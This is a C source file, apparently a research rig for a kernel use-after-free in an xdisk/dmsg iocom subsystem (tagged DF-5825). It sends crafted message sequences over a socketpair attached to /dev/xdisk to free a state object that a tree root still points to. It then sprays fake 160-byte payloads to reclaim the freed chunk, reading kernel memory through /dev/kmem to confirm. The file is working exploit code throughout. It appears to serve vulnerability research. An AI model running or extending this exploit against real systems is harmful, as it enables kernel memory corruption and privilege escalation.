/*
 * DF-5825 introspection rig: drives the attack AND dumps the kernel
 * iocom state trees via /dev/kmem, giving direct ground truth about
 * the wrong-tree RB_REMOVE and the dangling staterd root.
 *
 * conn_state address is learned from the LNK_CONN msgid on the wire
 * (msgids of tx-initiated states are the state's own address).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <poll.h>

struct dmsg_hdr {
	uint16_t magic, reserved02;
	uint32_t salt;
	uint64_t msgid, circuit, link_verifier;
	uint32_t cmd, aux_crc, aux_bytes, error;
	uint64_t aux_descr;
	uint32_t reserved38, hdr_crc;
};
#define DMSGF_CREATE	0x80000000u
#define DMSGF_DELETE	0x40000000u
#define DMSGF_REPLY	0x20000000u
#define XX3_CMD		0x00300101u

struct xdisk_attach_ioctl { int fd; int unused01; int32_t r2[8]; };
#define XDISKIOCATTACH	_IOWR('X', 0, struct xdisk_attach_ioctl)

/* offsets from probe_state (verify at runtime) */
#define ST_ICOM		88
#define ST_PARENT	96
#define ST_REFS		104
#define ST_MSGID	120
#define ST_FLAGS	128
#define IOC_STATRD	0	/* filled from probe at startup */
#define IOC_STATEWR	0
#define IOC_CONN	0
#define IOC_FREERD	0
#define IOC_STATE0	0

static int sv[2], xd, kmem = -1;
static size_t o_statrd, o_statewr, o_conn, o_freerd, o_state0;

static int
kread(uint64_t addr, void *buf, size_t len)
{
	if (lseek(kmem, (off_t)addr, 0) == -1) { perror("lseek"); return -1; }
	if (read(kmem, buf, len) != (ssize_t)len) { perror("kmem read"); return -1; }
	return 0;
}

static uint64_t
kread64(uint64_t addr)
{
	uint64_t v = 0;
	kread(addr, &v, 8);
	return v;
}

static void
hexdump(const char *tag, uint64_t addr, size_t len)
{
	unsigned char b[256];
	size_t i, n = len < sizeof(b) ? len : sizeof(b);

	if (kread(addr, b, n) < 0)
		return;
	printf("%s [%016jx]:", tag, (uintmax_t)addr);
	for (i = 0; i < n; i++) {
		if ((i % 16) == 0)
			printf("\n  +%.3zx:", i);
		printf(" %02x", b[i]);
	}
	printf("\n");
}

static void
send_msg(uint32_t cmd, uint64_t msgid, const void *aux, uint32_t aux_size)
{
	size_t hbytes = (cmd & 0xff) * 64;
	size_t abytes = aux_size ? (aux_size + 63) & ~63 : 0;
	unsigned char *buf = calloc(1, hbytes + abytes);
	struct dmsg_hdr *h = (struct dmsg_hdr *)buf;
	size_t off = 0;

	h->magic = 0x4832;
	h->msgid = msgid;
	h->cmd = cmd;
	h->aux_bytes = aux_size;
	if (aux && abytes)
		memcpy(buf + hbytes, aux, aux_size);
	while (off < hbytes + abytes) {
		ssize_t n = write(sv[1], buf + off, hbytes + abytes - off);
		if (n <= 0) { perror("write"); exit(1); }
		off += n;
	}
	free(buf);
}

static int
recv_msg(struct dmsg_hdr *out, int ms)
{
	struct pollfd p = { .fd = sv[1], .events = POLLIN };
	unsigned char ext[2048];

	if (poll(&p, 1, ms) <= 0)
		return -1;
	if (read(sv[1], out, 64) != 64) { perror("rhdr"); exit(1); }
	{
		size_t hb = (out->cmd & 0xff) * 64, got = 0, ab;
		if (hb > 64 && hb <= 2048)
			while (got < hb - 64)
				got += read(sv[1], ext, hb - 64 - got);
		ab = out->aux_bytes ? (out->aux_bytes + 63) & ~63 : 0;
		while (ab) {
			size_t n = read(sv[1], ext, ab > 2048 ? 2048 : ab);
			if (n <= 0) break;
			ab -= n;
		}
	}
	return 0;
}

static uint64_t iocom;

static void
dump_trees(const char *tag)
{
	uint64_t sroot = kread64(iocom + o_statrd);
	uint64_t wroot = kread64(iocom + o_statewr);
	uint64_t conn = kread64(iocom + o_conn);
	uint64_t freerd = kread64(iocom + o_freerd);

	printf("[%s] iocom=%016jx staterd.root=%016jx statewr.root=%016jx "
	    "conn_state=%016jx freerd=%016jx\n",
	    tag, (uintmax_t)iocom, (uintmax_t)sroot, (uintmax_t)wroot,
	    (uintmax_t)conn, (uintmax_t)freerd);
}

static void
dump_state(const char *tag, uint64_t s)
{
	if (!s) { printf("[%s] state NULL\n", tag); return; }
	printf("[%s] state %016jx: parent=%016jx refs=%d msgid=%016jx "
	    "flags=%08x\n", tag, (uintmax_t)s,
	    (uintmax_t)kread64(s + 96), (int)kread64(s + 104),
	    (uintmax_t)kread64(s + 120), (uint32_t)kread64(s + 128));
}

int
main(void)
{
	struct xdisk_attach_ioctl xa;
	struct dmsg_hdr h;
	uint64_t msgid1 = 0x41414100dead0001ULL;
	uint64_t conn_state;
	unsigned char fake[160];
	int i;

	/* iocom offsets printed by probe_state: */
	{
		FILE *f = popen("/root/probe_state", "r");
		char line[256];
		while (fgets(line, sizeof(line), f)) {
			uintptr_t v;
			if (sscanf(line, "iocom staterd_tree @ %lu", &v) == 1) o_statrd = v;
			if (sscanf(line, "iocom statewr_tree @ %lu", &v) == 1) o_statewr = v;
			if (sscanf(line, "iocom conn_state   @ %lu", &v) == 1) o_conn = v;
			if (sscanf(line, "iocom freerd_state @ %lu", &v) == 1) o_freerd = v;
			if (sscanf(line, "iocom state0       @ %lu", &v) == 1) o_state0 = v;
		}
		pclose(f);
	}
	printf("offsets: statrd=%zu statewr=%zu conn=%zu freerd=%zu state0=%zu\n",
	    o_statrd, o_statewr, o_conn, o_freerd, o_state0);

	kmem = open("/dev/kmem", O_RDONLY);
	if (kmem < 0) { perror("/dev/kmem"); return 1; }

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("sp"); return 1; }
	xd = open("/dev/xdisk", O_RDWR);
	if (xd < 0) { perror("xdisk"); return 1; }
	memset(&xa, 0, sizeof(xa));
	xa.fd = sv[0];
	if (ioctl(xd, XDISKIOCATTACH, &xa) < 0) { perror("attach"); return 1; }

	/* drain CONN; its msgid == &conn_state */
	conn_state = 0;
	while (recv_msg(&h, 800) == 0) {
		printf("rx cmd=%08x msgid=%016jx\n", h.cmd, (uintmax_t)h.msgid);
		conn_state = h.msgid;
	}
	if (!conn_state) { printf("no CONN seen\n"); return 1; }
	iocom = kread64(conn_state + ST_ICOM);
	printf("conn_state=%016jx -> iocom=%016jx\n",
	    (uintmax_t)conn_state, (uintmax_t)iocom);
	dump_trees("t0");

	/* msg1: half-closed staterd state S */
	send_msg(XX3_CMD | DMSGF_CREATE, msgid1, NULL, 0);
	while (recv_msg(&h, 800) == 0)
		;
	usleep(300000);
	dump_trees("t1 after msg1");
	{
		uint64_t s = kread64(iocom + o_statrd);
		dump_state("t1 S", s);
		hexdump("t1 S", s, 160);
	}

	/* msg2: inject REPLY into rxcmd */
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, msgid1, NULL, 0);
	usleep(300000);
	while (recv_msg(&h, 300) == 0)
		;
	dump_trees("t2 after msg2");
	dump_state("t2 S", kread64(iocom + o_statrd));

	/* msg3: REPLY|DELETE -> wrong-tree RB_REMOVE + free of S */
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_DELETE, msgid1, NULL, 0);
	usleep(500000);
	while (recv_msg(&h, 300) == 0)
		;
	dump_trees("t3 after msg3 (staterd root should STILL point at freed S)");
	dump_state("t3 S(freed)", kread64(iocom + o_statrd));
	hexdump("t3 S(freed)", kread64(iocom + o_statrd), 160);

	/* t3.5: reclaim probe - one-off PING with 0xCC 160B aux */
	{
		unsigned char cc[160];
		memset(cc, 0xcc, sizeof(cc));
		send_msg(0x00000101u, 0x9999000000000001ULL, cc, sizeof(cc));
		usleep(400000);
		while (recv_msg(&h, 300) == 0)
			;
		dump_trees("t3.5 after ping+CC-aux");
		hexdump("t3.5 S-chunk", kread64(iocom + o_statrd), 160);
	}

	/* msg4 with fake aux in the 160 zone */
	memset(fake, 0, sizeof(fake));
	*(uint64_t *)(fake + 0) = 0x4141414141414141ULL;
	*(uint64_t *)(fake + 8) = 0x4242424242424242ULL;
	for (i = 0; i < 4; i++) {
		printf("msg4.%d\n", i);
		send_msg(0x00001207u | DMSGF_CREATE | DMSGF_DELETE,
		    0x42424200cafe0000ULL + i, fake, sizeof(fake));
		usleep(400000);
		while (recv_msg(&h, 300) == 0)
			;
		dump_trees("t4");
		hexdump("t4 S-chunk", kread64(iocom + o_statrd), 160);
	}
	printf("DONE alive\n");
	return 0;
}